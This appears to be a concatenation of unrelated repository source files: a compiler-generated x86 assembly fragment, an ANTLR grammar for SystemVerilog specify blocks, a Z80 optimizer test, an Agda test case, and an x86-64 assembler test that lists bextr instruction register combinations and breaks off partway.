__real@40ad4c0000000000 DQ 040ad4c0000000000r ; 3750
; Function compile flags: /Ogtpy
CONST ENDS
_TEXT SEGMENT
_main PROC
; Line 17
fld QWORD PTR __real@40ad4c0000000000
sub esp, 8
fstp QWORD PTR [esp]
push OFFSET $SG4681
call _printf
add esp, 12 ; 0000000cH
; Line 18
xor eax, eax
ret 0
_main ENDP
_TEXT ENDS
END
|
src/compiling/ANTLR/grammar/SpecifyBlockDeclaration.g4 | jecassis/VSCode-SystemVerilog | 75 | 4278 | <filename>src/compiling/ANTLR/grammar/SpecifyBlockDeclaration.g4
grammar SpecifyBlockDeclaration;
import SpecifyPathDeclarations;
specify_block : 'specify' ( specify_item )* 'endspecify' ;
specify_item : specparam_declaration
| pulsestyle_declaration
| showcancelled_declaration
| path_declaration
| system_timing_check ;
pulsestyle_declaration : 'pulsestyle_onevent' list_of_path_outputs ';'
| 'pulsestyle_ondetect' list_of_path_outputs ';' ;
showcancelled_declaration : 'showcancelled' list_of_path_outputs ';'
| 'noshowcancelled' list_of_path_outputs ';' ;
|
src/test/resources/data/potests/test15.asm | cpcitor/mdlz80optimizer | 36 | 23411 | ; Test case:
; - lines 4-5 should be optimized
; - lines 9-10 should be optimized to djnz
ld b,1
ld c,2
ld (var1),bc
loop1:
dec b
jr nz,loop1
loop2:
jp loop2
var1:
dw 0
|
test/Succeed/Issue1863.agda | redfish64/autonomic-agda | 3 | 16773 | <filename>test/Succeed/Issue1863.agda<gh_stars>1-10
{-# OPTIONS --allow-unsolved-metas #-}
record ⊤ : Set where
constructor tt
data I : Set where
i : ⊤ → I
data D : I → Set where
d : D (i tt)
postulate
P : (x : I) → D x → Set
foo : (y : _) → P _ y
foo d = {!!}
|
test/bextr.asm | killvxk/AssemblyLine | 147 | 175012 | <reponame>killvxk/AssemblyLine<filename>test/bextr.asm
SECTION .text
GLOBAL test
test:
bextr rax, rax, rax
bextr rax, rax, rbx
bextr rax, rax, rcx
bextr rax, rax, rdx
bextr rax, rax, rdi
bextr rax, rax, r8
bextr rax, rax, r9
bextr rax, rax, r10
bextr rax, rax, r11
bextr rax, rax, r12
bextr rax, rax, r13
bextr rax, rax, r14
bextr rax, rax, r15
bextr rax, rax, rsp
bextr rax, rax, rsi
bextr rax, rax, rbp
bextr rax, rbx, rax
bextr rax, rbx, rbx
bextr rax, rbx, rcx
bextr rax, rbx, rdx
bextr rax, rbx, rdi
bextr rax, rbx, r8
bextr rax, rbx, r9
bextr rax, rbx, r10
bextr rax, rbx, r11
bextr rax, rbx, r12
bextr rax, rbx, r13
bextr rax, rbx, r14
bextr rax, rbx, r15
bextr rax, rbx, rsp
bextr rax, rbx, rsi
bextr rax, rbx, rbp
bextr rax, rcx, rax
bextr rax, rcx, rbx
bextr rax, rcx, rcx
bextr rax, rcx, rdx
bextr rax, rcx, rdi
bextr rax, rcx, r8
bextr rax, rcx, r9
bextr rax, rcx, r10
bextr rax, rcx, r11
bextr rax, rcx, r12
bextr rax, rcx, r13
bextr rax, rcx, r14
bextr rax, rcx, r15
bextr rax, rcx, rsp
bextr rax, rcx, rsi
bextr rax, rcx, rbp
bextr rax, rdx, rax
bextr rax, rdx, rbx
bextr rax, rdx, rcx
bextr rax, rdx, rdx
bextr rax, rdx, rdi
bextr rax, rdx, r8
bextr rax, rdx, r9
bextr rax, rdx, r10
bextr rax, rdx, r11
bextr rax, rdx, r12
bextr rax, rdx, r13
bextr rax, rdx, r14
bextr rax, rdx, r15
bextr rax, rdx, rsp
bextr rax, rdx, rsi
bextr rax, rdx, rbp
bextr rax, rdi, rax
bextr rax, rdi, rbx
bextr rax, rdi, rcx
bextr rax, rdi, rdx
bextr rax, rdi, rdi
bextr rax, rdi, r8
bextr rax, rdi, r9
bextr rax, rdi, r10
bextr rax, rdi, r11
bextr rax, rdi, r12
bextr rax, rdi, r13
bextr rax, rdi, r14
bextr rax, rdi, r15
bextr rax, rdi, rsp
bextr rax, rdi, rsi
bextr rax, rdi, rbp
bextr rax, r8, rax
bextr rax, r8, rbx
bextr rax, r8, rcx
bextr rax, r8, rdx
bextr rax, r8, rdi
bextr rax, r8, r8
bextr rax, r8, r9
bextr rax, r8, r10
bextr rax, r8, r11
bextr rax, r8, r12
bextr rax, r8, r13
bextr rax, r8, r14
bextr rax, r8, r15
bextr rax, r8, rsp
bextr rax, r8, rsi
bextr rax, r8, rbp
bextr rax, r9, rax
bextr rax, r9, rbx
bextr rax, r9, rcx
bextr rax, r9, rdx
bextr rax, r9, rdi
bextr rax, r9, r8
bextr rax, r9, r9
bextr rax, r9, r10
bextr rax, r9, r11
bextr rax, r9, r12
bextr rax, r9, r13
bextr rax, r9, r14
bextr rax, r9, r15
bextr rax, r9, rsp
bextr rax, r9, rsi
bextr rax, r9, rbp
bextr rax, r10, rax
bextr rax, r10, rbx
bextr rax, r10, rcx
bextr rax, r10, rdx
bextr rax, r10, rdi
bextr rax, r10, r8
bextr rax, r10, r9
bextr rax, r10, r10
bextr rax, r10, r11
bextr rax, r10, r12
bextr rax, r10, r13
bextr rax, r10, r14
bextr rax, r10, r15
bextr rax, r10, rsp
bextr rax, r10, rsi
bextr rax, r10, rbp
bextr rax, r11, rax
bextr rax, r11, rbx
bextr rax, r11, rcx
bextr rax, r11, rdx
bextr rax, r11, rdi
bextr rax, r11, r8
bextr rax, r11, r9
bextr rax, r11, r10
bextr rax, r11, r11
bextr rax, r11, r12
bextr rax, r11, r13
bextr rax, r11, r14
bextr rax, r11, r15
bextr rax, r11, rsp
bextr rax, r11, rsi
bextr rax, r11, rbp
bextr rax, r12, rax
bextr rax, r12, rbx
bextr rax, r12, rcx
bextr rax, r12, rdx
bextr rax, r12, rdi
bextr rax, r12, r8
bextr rax, r12, r9
bextr rax, r12, r10
bextr rax, r12, r11
bextr rax, r12, r12
bextr rax, r12, r13
bextr rax, r12, r14
bextr rax, r12, r15
bextr rax, r12, rsp
bextr rax, r12, rsi
bextr rax, r12, rbp
bextr rax, r13, rax
bextr rax, r13, rbx
bextr rax, r13, rcx
bextr rax, r13, rdx
bextr rax, r13, rdi
bextr rax, r13, r8
bextr rax, r13, r9
bextr rax, r13, r10
bextr rax, r13, r11
bextr rax, r13, r12
bextr rax, r13, r13
bextr rax, r13, r14
bextr rax, r13, r15
bextr rax, r13, rsp
bextr rax, r13, rsi
bextr rax, r13, rbp
bextr rax, r14, rax
bextr rax, r14, rbx
bextr rax, r14, rcx
bextr rax, r14, rdx
bextr rax, r14, rdi
bextr rax, r14, r8
bextr rax, r14, r9
bextr rax, r14, r10
bextr rax, r14, r11
bextr rax, r14, r12
bextr rax, r14, r13
bextr rax, r14, r14
bextr rax, r14, r15
bextr rax, r14, rsp
bextr rax, r14, rsi
bextr rax, r14, rbp
bextr rax, r15, rax
bextr rax, r15, rbx
bextr rax, r15, rcx
bextr rax, r15, rdx
bextr rax, r15, rdi
bextr rax, r15, r8
bextr rax, r15, r9
bextr rax, r15, r10
bextr rax, r15, r11
bextr rax, r15, r12
bextr rax, r15, r13
bextr rax, r15, r14
bextr rax, r15, r15
bextr rax, r15, rsp
bextr rax, r15, rsi
bextr rax, r15, rbp
bextr rax, rsp, rax
bextr rax, rsp, rbx
bextr rax, rsp, rcx
bextr rax, rsp, rdx
bextr rax, rsp, rdi
bextr rax, rsp, r8
bextr rax, rsp, r9
bextr rax, rsp, r10
bextr rax, rsp, r11
bextr rax, rsp, r12
bextr rax, rsp, r13
bextr rax, rsp, r14
bextr rax, rsp, r15
bextr rax, rsp, rsp
bextr rax, rsp, rsi
bextr rax, rsp, rbp
bextr rax, rsi, rax
bextr rax, rsi, rbx
bextr rax, rsi, rcx
bextr rax, rsi, rdx
bextr rax, rsi, rdi
bextr rax, rsi, r8
bextr rax, rsi, r9
bextr rax, rsi, r10
bextr rax, rsi, r11
bextr rax, rsi, r12
bextr rax, rsi, r13
bextr rax, rsi, r14
bextr rax, rsi, r15
bextr rax, rsi, rsp
bextr rax, rsi, rsi
bextr rax, rsi, rbp
bextr rax, rbp, rax
bextr rax, rbp, rbx
bextr rax, rbp, rcx
bextr rax, rbp, rdx
bextr rax, rbp, rdi
bextr rax, rbp, r8
bextr rax, rbp, r9
bextr rax, rbp, r10
bextr rax, rbp, r11
bextr rax, rbp, r12
bextr rax, rbp, r13
bextr rax, rbp, r14
bextr rax, rbp, r15
bextr rax, rbp, rsp
bextr rax, rbp, rsi
bextr rax, rbp, rbp
bextr rbx, rax, rax
bextr rbx, rax, rbx
bextr rbx, rax, rcx
bextr rbx, rax, rdx
bextr rbx, rax, rdi
bextr rbx, rax, r8
bextr rbx, rax, r9
bextr rbx, rax, r10
bextr rbx, rax, r11
bextr rbx, rax, r12
bextr rbx, rax, r13
bextr rbx, rax, r14
bextr rbx, rax, r15
bextr rbx, rax, rsp
bextr rbx, rax, rsi
bextr rbx, rax, rbp
bextr rbx, rbx, rax
bextr rbx, rbx, rbx
bextr rbx, rbx, rcx
bextr rbx, rbx, rdx
bextr rbx, rbx, rdi
bextr rbx, rbx, r8
bextr rbx, rbx, r9
bextr rbx, rbx, r10
bextr rbx, rbx, r11
bextr rbx, rbx, r12
bextr rbx, rbx, r13
bextr rbx, rbx, r14
bextr rbx, rbx, r15
bextr rbx, rbx, rsp
bextr rbx, rbx, rsi
bextr rbx, rbx, rbp
bextr rbx, rcx, rax
bextr rbx, rcx, rbx
bextr rbx, rcx, rcx
bextr rbx, rcx, rdx
bextr rbx, rcx, rdi
bextr rbx, rcx, r8
bextr rbx, rcx, r9
bextr rbx, rcx, r10
bextr rbx, rcx, r11
bextr rbx, rcx, r12
bextr rbx, rcx, r13
bextr rbx, rcx, r14
bextr rbx, rcx, r15
bextr rbx, rcx, rsp
bextr rbx, rcx, rsi
bextr rbx, rcx, rbp
bextr rbx, rdx, rax
bextr rbx, rdx, rbx
bextr rbx, rdx, rcx
bextr rbx, rdx, rdx
bextr rbx, rdx, rdi
bextr rbx, rdx, r8
bextr rbx, rdx, r9
bextr rbx, rdx, r10
bextr rbx, rdx, r11
bextr rbx, rdx, r12
bextr rbx, rdx, r13
bextr rbx, rdx, r14
bextr rbx, rdx, r15
bextr rbx, rdx, rsp
bextr rbx, rdx, rsi
bextr rbx, rdx, rbp
bextr rbx, rdi, rax
bextr rbx, rdi, rbx
bextr rbx, rdi, rcx
bextr rbx, rdi, rdx
bextr rbx, rdi, rdi
bextr rbx, rdi, r8
bextr rbx, rdi, r9
bextr rbx, rdi, r10
bextr rbx, rdi, r11
bextr rbx, rdi, r12
bextr rbx, rdi, r13
bextr rbx, rdi, r14
bextr rbx, rdi, r15
bextr rbx, rdi, rsp
bextr rbx, rdi, rsi
bextr rbx, rdi, rbp
bextr rbx, r8, rax
bextr rbx, r8, rbx
bextr rbx, r8, rcx
bextr rbx, r8, rdx
bextr rbx, r8, rdi
bextr rbx, r8, r8
bextr rbx, r8, r9
bextr rbx, r8, r10
bextr rbx, r8, r11
bextr rbx, r8, r12
bextr rbx, r8, r13
bextr rbx, r8, r14
bextr rbx, r8, r15
bextr rbx, r8, rsp
bextr rbx, r8, rsi
bextr rbx, r8, rbp
bextr rbx, r9, rax
bextr rbx, r9, rbx
bextr rbx, r9, rcx
bextr rbx, r9, rdx
bextr rbx, r9, rdi
bextr rbx, r9, r8
bextr rbx, r9, r9
bextr rbx, r9, r10
bextr rbx, r9, r11
bextr rbx, r9, r12
bextr rbx, r9, r13
bextr rbx, r9, r14
bextr rbx, r9, r15
bextr rbx, r9, rsp
bextr rbx, r9, rsi
bextr rbx, r9, rbp
bextr rbx, r10, rax
bextr rbx, r10, rbx
bextr rbx, r10, rcx
bextr rbx, r10, rdx
bextr rbx, r10, rdi
bextr rbx, r10, r8
bextr rbx, r10, r9
bextr rbx, r10, r10
bextr rbx, r10, r11
bextr rbx, r10, r12
bextr rbx, r10, r13
bextr rbx, r10, r14
bextr rbx, r10, r15
bextr rbx, r10, rsp
bextr rbx, r10, rsi
bextr rbx, r10, rbp
bextr rbx, r11, rax
bextr rbx, r11, rbx
bextr rbx, r11, rcx
bextr rbx, r11, rdx
bextr rbx, r11, rdi
bextr rbx, r11, r8
bextr rbx, r11, r9
bextr rbx, r11, r10
bextr rbx, r11, r11
bextr rbx, r11, r12
bextr rbx, r11, r13
bextr rbx, r11, r14
bextr rbx, r11, r15
bextr rbx, r11, rsp
bextr rbx, r11, rsi
bextr rbx, r11, rbp
bextr rbx, r12, rax
bextr rbx, r12, rbx
bextr rbx, r12, rcx
bextr rbx, r12, rdx
bextr rbx, r12, rdi
bextr rbx, r12, r8
bextr rbx, r12, r9
bextr rbx, r12, r10
bextr rbx, r12, r11
bextr rbx, r12, r12
bextr rbx, r12, r13
bextr rbx, r12, r14
bextr rbx, r12, r15
bextr rbx, r12, rsp
bextr rbx, r12, rsi
bextr rbx, r12, rbp
bextr rbx, r13, rax
bextr rbx, r13, rbx
bextr rbx, r13, rcx
bextr rbx, r13, rdx
bextr rbx, r13, rdi
bextr rbx, r13, r8
bextr rbx, r13, r9
bextr rbx, r13, r10
bextr rbx, r13, r11
bextr rbx, r13, r12
bextr rbx, r13, r13
bextr rbx, r13, r14
bextr rbx, r13, r15
bextr rbx, r13, rsp
bextr rbx, r13, rsi
bextr rbx, r13, rbp
bextr rbx, r14, rax
bextr rbx, r14, rbx
bextr rbx, r14, rcx
bextr rbx, r14, rdx
bextr rbx, r14, rdi
bextr rbx, r14, r8
bextr rbx, r14, r9
bextr rbx, r14, r10
bextr rbx, r14, r11
bextr rbx, r14, r12
bextr rbx, r14, r13
bextr rbx, r14, r14
bextr rbx, r14, r15
bextr rbx, r14, rsp
bextr rbx, r14, rsi
bextr rbx, r14, rbp
bextr rbx, r15, rax
bextr rbx, r15, rbx
bextr rbx, r15, rcx
bextr rbx, r15, rdx
bextr rbx, r15, rdi
bextr rbx, r15, r8
bextr rbx, r15, r9
bextr rbx, r15, r10
bextr rbx, r15, r11
bextr rbx, r15, r12
bextr rbx, r15, r13
bextr rbx, r15, r14
bextr rbx, r15, r15
bextr rbx, r15, rsp
bextr rbx, r15, rsi
bextr rbx, r15, rbp
bextr rbx, rsp, rax
bextr rbx, rsp, rbx
bextr rbx, rsp, rcx
bextr rbx, rsp, rdx
bextr rbx, rsp, rdi
bextr rbx, rsp, r8
bextr rbx, rsp, r9
bextr rbx, rsp, r10
bextr rbx, rsp, r11
bextr rbx, rsp, r12
bextr rbx, rsp, r13
bextr rbx, rsp, r14
bextr rbx, rsp, r15
bextr rbx, rsp, rsp
bextr rbx, rsp, rsi
bextr rbx, rsp, rbp
bextr rbx, rsi, rax
bextr rbx, rsi, rbx
bextr rbx, rsi, rcx
bextr rbx, rsi, rdx
bextr rbx, rsi, rdi
bextr rbx, rsi, r8
bextr rbx, rsi, r9
bextr rbx, rsi, r10
bextr rbx, rsi, r11
bextr rbx, rsi, r12
bextr rbx, rsi, r13
bextr rbx, rsi, r14
bextr rbx, rsi, r15
bextr rbx, rsi, rsp
bextr rbx, rsi, rsi
bextr rbx, rsi, rbp
bextr rbx, rbp, rax
bextr rbx, rbp, rbx
bextr rbx, rbp, rcx
bextr rbx, rbp, rdx
bextr rbx, rbp, rdi
bextr rbx, rbp, r8
bextr rbx, rbp, r9
bextr rbx, rbp, r10
bextr rbx, rbp, r11
bextr rbx, rbp, r12
bextr rbx, rbp, r13
bextr rbx, rbp, r14
bextr rbx, rbp, r15
bextr rbx, rbp, rsp
bextr rbx, rbp, rsi
bextr rbx, rbp, rbp
bextr rcx, rax, rax
bextr rcx, rax, rbx
bextr rcx, rax, rcx
bextr rcx, rax, rdx
bextr rcx, rax, rdi
bextr rcx, rax, r8
bextr rcx, rax, r9
bextr rcx, rax, r10
bextr rcx, rax, r11
bextr rcx, rax, r12
bextr rcx, rax, r13
bextr rcx, rax, r14
bextr rcx, rax, r15
bextr rcx, rax, rsp
bextr rcx, rax, rsi
bextr rcx, rax, rbp
bextr rcx, rbx, rax
bextr rcx, rbx, rbx
bextr rcx, rbx, rcx
bextr rcx, rbx, rdx
bextr rcx, rbx, rdi
bextr rcx, rbx, r8
bextr rcx, rbx, r9
bextr rcx, rbx, r10
bextr rcx, rbx, r11
bextr rcx, rbx, r12
bextr rcx, rbx, r13
bextr rcx, rbx, r14
bextr rcx, rbx, r15
bextr rcx, rbx, rsp
bextr rcx, rbx, rsi
bextr rcx, rbx, rbp
bextr rcx, rcx, rax
bextr rcx, rcx, rbx
bextr rcx, rcx, rcx
bextr rcx, rcx, rdx
bextr rcx, rcx, rdi
bextr rcx, rcx, r8
bextr rcx, rcx, r9
bextr rcx, rcx, r10
bextr rcx, rcx, r11
bextr rcx, rcx, r12
bextr rcx, rcx, r13
bextr rcx, rcx, r14
bextr rcx, rcx, r15
bextr rcx, rcx, rsp
bextr rcx, rcx, rsi
bextr rcx, rcx, rbp
bextr rcx, rdx, rax
bextr rcx, rdx, rbx
bextr rcx, rdx, rcx
bextr rcx, rdx, rdx
bextr rcx, rdx, rdi
bextr rcx, rdx, r8
bextr rcx, rdx, r9
bextr rcx, rdx, r10
bextr rcx, rdx, r11
bextr rcx, rdx, r12
bextr rcx, rdx, r13
bextr rcx, rdx, r14
bextr rcx, rdx, r15
bextr rcx, rdx, rsp
bextr rcx, rdx, rsi
bextr rcx, rdx, rbp
bextr rcx, rdi, rax
bextr rcx, rdi, rbx
bextr rcx, rdi, rcx
bextr rcx, rdi, rdx
bextr rcx, rdi, rdi
bextr rcx, rdi, r8
bextr rcx, rdi, r9
bextr rcx, rdi, r10
bextr rcx, rdi, r11
bextr rcx, rdi, r12
bextr rcx, rdi, r13
bextr rcx, rdi, r14
bextr rcx, rdi, r15
bextr rcx, rdi, rsp
bextr rcx, rdi, rsi
bextr rcx, rdi, rbp
bextr rcx, r8, rax
bextr rcx, r8, rbx
bextr rcx, r8, rcx
bextr rcx, r8, rdx
bextr rcx, r8, rdi
bextr rcx, r8, r8
bextr rcx, r8, r9
bextr rcx, r8, r10
bextr rcx, r8, r11
bextr rcx, r8, r12
bextr rcx, r8, r13
bextr rcx, r8, r14
bextr rcx, r8, r15
bextr rcx, r8, rsp
bextr rcx, r8, rsi
bextr rcx, r8, rbp
bextr rcx, r9, rax
bextr rcx, r9, rbx
bextr rcx, r9, rcx
bextr rcx, r9, rdx
bextr rcx, r9, rdi
bextr rcx, r9, r8
bextr rcx, r9, r9
bextr rcx, r9, r10
bextr rcx, r9, r11
bextr rcx, r9, r12
bextr rcx, r9, r13
bextr rcx, r9, r14
bextr rcx, r9, r15
bextr rcx, r9, rsp
bextr rcx, r9, rsi
bextr rcx, r9, rbp
bextr rcx, r10, rax
bextr rcx, r10, rbx
bextr rcx, r10, rcx
bextr rcx, r10, rdx
bextr rcx, r10, rdi
bextr rcx, r10, r8
bextr rcx, r10, r9
bextr rcx, r10, r10
bextr rcx, r10, r11
bextr rcx, r10, r12
bextr rcx, r10, r13
bextr rcx, r10, r14
bextr rcx, r10, r15
bextr rcx, r10, rsp
bextr rcx, r10, rsi
bextr rcx, r10, rbp
bextr rcx, r11, rax
bextr rcx, r11, rbx
bextr rcx, r11, rcx
bextr rcx, r11, rdx
bextr rcx, r11, rdi
bextr rcx, r11, r8
bextr rcx, r11, r9
bextr rcx, r11, r10
bextr rcx, r11, r11
bextr rcx, r11, r12
bextr rcx, r11, r13
bextr rcx, r11, r14
bextr rcx, r11, r15
bextr rcx, r11, rsp
bextr rcx, r11, rsi
bextr rcx, r11, rbp
bextr rcx, r12, rax
bextr rcx, r12, rbx
bextr rcx, r12, rcx
bextr rcx, r12, rdx
bextr rcx, r12, rdi
bextr rcx, r12, r8
bextr rcx, r12, r9
bextr rcx, r12, r10
bextr rcx, r12, r11
bextr rcx, r12, r12
bextr rcx, r12, r13
bextr rcx, r12, r14
bextr rcx, r12, r15
bextr rcx, r12, rsp
bextr rcx, r12, rsi
bextr rcx, r12, rbp
bextr rcx, r13, rax
bextr rcx, r13, rbx
bextr rcx, r13, rcx
bextr rcx, r13, rdx
bextr rcx, r13, rdi
bextr rcx, r13, r8
bextr rcx, r13, r9
bextr rcx, r13, r10
bextr rcx, r13, r11
bextr rcx, r13, r12
bextr rcx, r13, r13
bextr rcx, r13, r14
bextr rcx, r13, r15
bextr rcx, r13, rsp
bextr rcx, r13, rsi
bextr rcx, r13, rbp
bextr rcx, r14, rax
bextr rcx, r14, rbx
bextr rcx, r14, rcx
bextr rcx, r14, rdx
bextr rcx, r14, rdi
bextr rcx, r14, r8
bextr rcx, r14, r9
bextr rcx, r14, r10
bextr rcx, r14, r11
bextr rcx, r14, r12
bextr rcx, r14, r13
bextr rcx, r14, r14
bextr rcx, r14, r15
bextr rcx, r14, rsp
bextr rcx, r14, rsi
bextr rcx, r14, rbp
bextr rcx, r15, rax
bextr rcx, r15, rbx
bextr rcx, r15, rcx
bextr rcx, r15, rdx
bextr rcx, r15, rdi
bextr rcx, r15, r8
bextr rcx, r15, r9
bextr rcx, r15, r10
bextr rcx, r15, r11
bextr rcx, r15, r12
bextr rcx, r15, r13
bextr rcx, r15, r14
bextr rcx, r15, r15
bextr rcx, r15, rsp
bextr rcx, r15, rsi
bextr rcx, r15, rbp
bextr rcx, rsp, rax
bextr rcx, rsp, rbx
bextr rcx, rsp, rcx
bextr rcx, rsp, rdx
bextr rcx, rsp, rdi
bextr rcx, rsp, r8
bextr rcx, rsp, r9
bextr rcx, rsp, r10
bextr rcx, rsp, r11
bextr rcx, rsp, r12
bextr rcx, rsp, r13
bextr rcx, rsp, r14
bextr rcx, rsp, r15
bextr rcx, rsp, rsp
bextr rcx, rsp, rsi
bextr rcx, rsp, rbp
bextr rcx, rsi, rax
bextr rcx, rsi, rbx
bextr rcx, rsi, rcx
bextr rcx, rsi, rdx
bextr rcx, rsi, rdi
bextr rcx, rsi, r8
bextr rcx, rsi, r9
bextr rcx, rsi, r10
bextr rcx, rsi, r11
bextr rcx, rsi, r12
bextr rcx, rsi, r13
bextr rcx, rsi, r14
bextr rcx, rsi, r15
bextr rcx, rsi, rsp
bextr rcx, rsi, rsi
bextr rcx, rsi, rbp
bextr rcx, rbp, rax
bextr rcx, rbp, rbx
bextr rcx, rbp, rcx
bextr rcx, rbp, rdx
bextr rcx, rbp, rdi
bextr rcx, rbp, r8
bextr rcx, rbp, r9
bextr rcx, rbp, r10
bextr rcx, rbp, r11
bextr rcx, rbp, r12
bextr rcx, rbp, r13
bextr rcx, rbp, r14
bextr rcx, rbp, r15
bextr rcx, rbp, rsp
bextr rcx, rbp, rsi
bextr rcx, rbp, rbp
bextr rdx, rax, rax
bextr rdx, rax, rbx
bextr rdx, rax, rcx
bextr rdx, rax, rdx
bextr rdx, rax, rdi
bextr rdx, rax, r8
bextr rdx, rax, r9
bextr rdx, rax, r10
bextr rdx, rax, r11
bextr rdx, rax, r12
bextr rdx, rax, r13
bextr rdx, rax, r14
bextr rdx, rax, r15
bextr rdx, rax, rsp
bextr rdx, rax, rsi
bextr rdx, rax, rbp
bextr rdx, rbx, rax
bextr rdx, rbx, rbx
bextr rdx, rbx, rcx
bextr rdx, rbx, rdx
bextr rdx, rbx, rdi
bextr rdx, rbx, r8
bextr rdx, rbx, r9
bextr rdx, rbx, r10
bextr rdx, rbx, r11
bextr rdx, rbx, r12
bextr rdx, rbx, r13
bextr rdx, rbx, r14
bextr rdx, rbx, r15
bextr rdx, rbx, rsp
bextr rdx, rbx, rsi
bextr rdx, rbx, rbp
bextr rdx, rcx, rax
bextr rdx, rcx, rbx
bextr rdx, rcx, rcx
bextr rdx, rcx, rdx
bextr rdx, rcx, rdi
bextr rdx, rcx, r8
bextr rdx, rcx, r9
bextr rdx, rcx, r10
bextr rdx, rcx, r11
bextr rdx, rcx, r12
bextr rdx, rcx, r13
bextr rdx, rcx, r14
bextr rdx, rcx, r15
bextr rdx, rcx, rsp
bextr rdx, rcx, rsi
bextr rdx, rcx, rbp
bextr rdx, rdx, rax
bextr rdx, rdx, rbx
bextr rdx, rdx, rcx
bextr rdx, rdx, rdx
bextr rdx, rdx, rdi
bextr rdx, rdx, r8
bextr rdx, rdx, r9
bextr rdx, rdx, r10
bextr rdx, rdx, r11
bextr rdx, rdx, r12
bextr rdx, rdx, r13
bextr rdx, rdx, r14
bextr rdx, rdx, r15
bextr rdx, rdx, rsp
bextr rdx, rdx, rsi
bextr rdx, rdx, rbp
bextr rdx, rdi, rax
bextr rdx, rdi, rbx
bextr rdx, rdi, rcx
bextr rdx, rdi, rdx
bextr rdx, rdi, rdi
bextr rdx, rdi, r8
bextr rdx, rdi, r9
bextr rdx, rdi, r10
bextr rdx, rdi, r11
bextr rdx, rdi, r12
bextr rdx, rdi, r13
bextr rdx, rdi, r14
bextr rdx, rdi, r15
bextr rdx, rdi, rsp
bextr rdx, rdi, rsi
bextr rdx, rdi, rbp
bextr rdx, r8, rax
bextr rdx, r8, rbx
bextr rdx, r8, rcx
bextr rdx, r8, rdx
bextr rdx, r8, rdi
bextr rdx, r8, r8
bextr rdx, r8, r9
bextr rdx, r8, r10
bextr rdx, r8, r11
bextr rdx, r8, r12
bextr rdx, r8, r13
bextr rdx, r8, r14
bextr rdx, r8, r15
bextr rdx, r8, rsp
bextr rdx, r8, rsi
bextr rdx, r8, rbp
bextr rdx, r9, rax
bextr rdx, r9, rbx
bextr rdx, r9, rcx
bextr rdx, r9, rdx
bextr rdx, r9, rdi
bextr rdx, r9, r8
bextr rdx, r9, r9
bextr rdx, r9, r10
bextr rdx, r9, r11
bextr rdx, r9, r12
bextr rdx, r9, r13
bextr rdx, r9, r14
bextr rdx, r9, r15
bextr rdx, r9, rsp
bextr rdx, r9, rsi
bextr rdx, r9, rbp
bextr rdx, r10, rax
bextr rdx, r10, rbx
bextr rdx, r10, rcx
bextr rdx, r10, rdx
bextr rdx, r10, rdi
bextr rdx, r10, r8
bextr rdx, r10, r9
bextr rdx, r10, r10
bextr rdx, r10, r11
bextr rdx, r10, r12
bextr rdx, r10, r13
bextr rdx, r10, r14
bextr rdx, r10, r15
bextr rdx, r10, rsp
bextr rdx, r10, rsi
bextr rdx, r10, rbp
bextr rdx, r11, rax
bextr rdx, r11, rbx
bextr rdx, r11, rcx
bextr rdx, r11, rdx
bextr rdx, r11, rdi
bextr rdx, r11, r8
bextr rdx, r11, r9
bextr rdx, r11, r10
bextr rdx, r11, r11
bextr rdx, r11, r12
bextr rdx, r11, r13
bextr rdx, r11, r14
bextr rdx, r11, r15
bextr rdx, r11, rsp
bextr rdx, r11, rsi
bextr rdx, r11, rbp
bextr rdx, r12, rax
bextr rdx, r12, rbx
bextr rdx, r12, rcx
bextr rdx, r12, rdx
bextr rdx, r12, rdi
bextr rdx, r12, r8
bextr rdx, r12, r9
bextr rdx, r12, r10
bextr rdx, r12, r11
bextr rdx, r12, r12
bextr rdx, r12, r13
bextr rdx, r12, r14
bextr rdx, r12, r15
bextr rdx, r12, rsp
bextr rdx, r12, rsi
bextr rdx, r12, rbp
bextr rdx, r13, rax
bextr rdx, r13, rbx
bextr rdx, r13, rcx
bextr rdx, r13, rdx
bextr rdx, r13, rdi
bextr rdx, r13, r8
bextr rdx, r13, r9
bextr rdx, r13, r10
bextr rdx, r13, r11
bextr rdx, r13, r12
bextr rdx, r13, r13
bextr rdx, r13, r14
bextr rdx, r13, r15
bextr rdx, r13, rsp
bextr rdx, r13, rsi
bextr rdx, r13, rbp
bextr rdx, r14, rax
bextr rdx, r14, rbx
bextr rdx, r14, rcx
bextr rdx, r14, rdx
bextr rdx, r14, rdi
bextr rdx, r14, r8
bextr rdx, r14, r9
bextr rdx, r14, r10
bextr rdx, r14, r11
bextr rdx, r14, r12
bextr rdx, r14, r13
bextr rdx, r14, r14
bextr rdx, r14, r15
bextr rdx, r14, rsp
bextr rdx, r14, rsi
bextr rdx, r14, rbp
bextr rdx, r15, rax
bextr rdx, r15, rbx
bextr rdx, r15, rcx
bextr rdx, r15, rdx
bextr rdx, r15, rdi
bextr rdx, r15, r8
bextr rdx, r15, r9
bextr rdx, r15, r10
bextr rdx, r15, r11
bextr rdx, r15, r12
bextr rdx, r15, r13
bextr rdx, r15, r14
bextr rdx, r15, r15
bextr rdx, r15, rsp
bextr rdx, r15, rsi
bextr rdx, r15, rbp
bextr rdx, rsp, rax
bextr rdx, rsp, rbx
bextr rdx, rsp, rcx
bextr rdx, rsp, rdx
bextr rdx, rsp, rdi
bextr rdx, rsp, r8
bextr rdx, rsp, r9
bextr rdx, rsp, r10
bextr rdx, rsp, r11
bextr rdx, rsp, r12
bextr rdx, rsp, r13
bextr rdx, rsp, r14
bextr rdx, rsp, r15
bextr rdx, rsp, rsp
bextr rdx, rsp, rsi
bextr rdx, rsp, rbp
bextr rdx, rsi, rax
bextr rdx, rsi, rbx
bextr rdx, rsi, rcx
bextr rdx, rsi, rdx
bextr rdx, rsi, rdi
bextr rdx, rsi, r8
bextr rdx, rsi, r9
bextr rdx, rsi, r10
bextr rdx, rsi, r11
bextr rdx, rsi, r12
bextr rdx, rsi, r13
bextr rdx, rsi, r14
bextr rdx, rsi, r15
bextr rdx, rsi, rsp
bextr rdx, rsi, rsi
bextr rdx, rsi, rbp
bextr rdx, rbp, rax
bextr rdx, rbp, rbx
bextr rdx, rbp, rcx
bextr rdx, rbp, rdx
bextr rdx, rbp, rdi
bextr rdx, rbp, r8
bextr rdx, rbp, r9
bextr rdx, rbp, r10
bextr rdx, rbp, r11
bextr rdx, rbp, r12
bextr rdx, rbp, r13
bextr rdx, rbp, r14
bextr rdx, rbp, r15
bextr rdx, rbp, rsp
bextr rdx, rbp, rsi
bextr rdx, rbp, rbp
bextr rdi, rax, rax
bextr rdi, rax, rbx
bextr rdi, rax, rcx
bextr rdi, rax, rdx
bextr rdi, rax, rdi
bextr rdi, rax, r8
bextr rdi, rax, r9
